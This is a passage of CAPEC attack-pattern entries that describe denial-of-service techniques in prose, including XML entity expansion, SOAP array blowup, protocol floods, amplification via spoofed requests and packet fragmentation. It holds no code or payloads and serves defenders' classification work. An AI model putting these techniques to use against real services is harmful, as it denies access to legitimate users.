An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.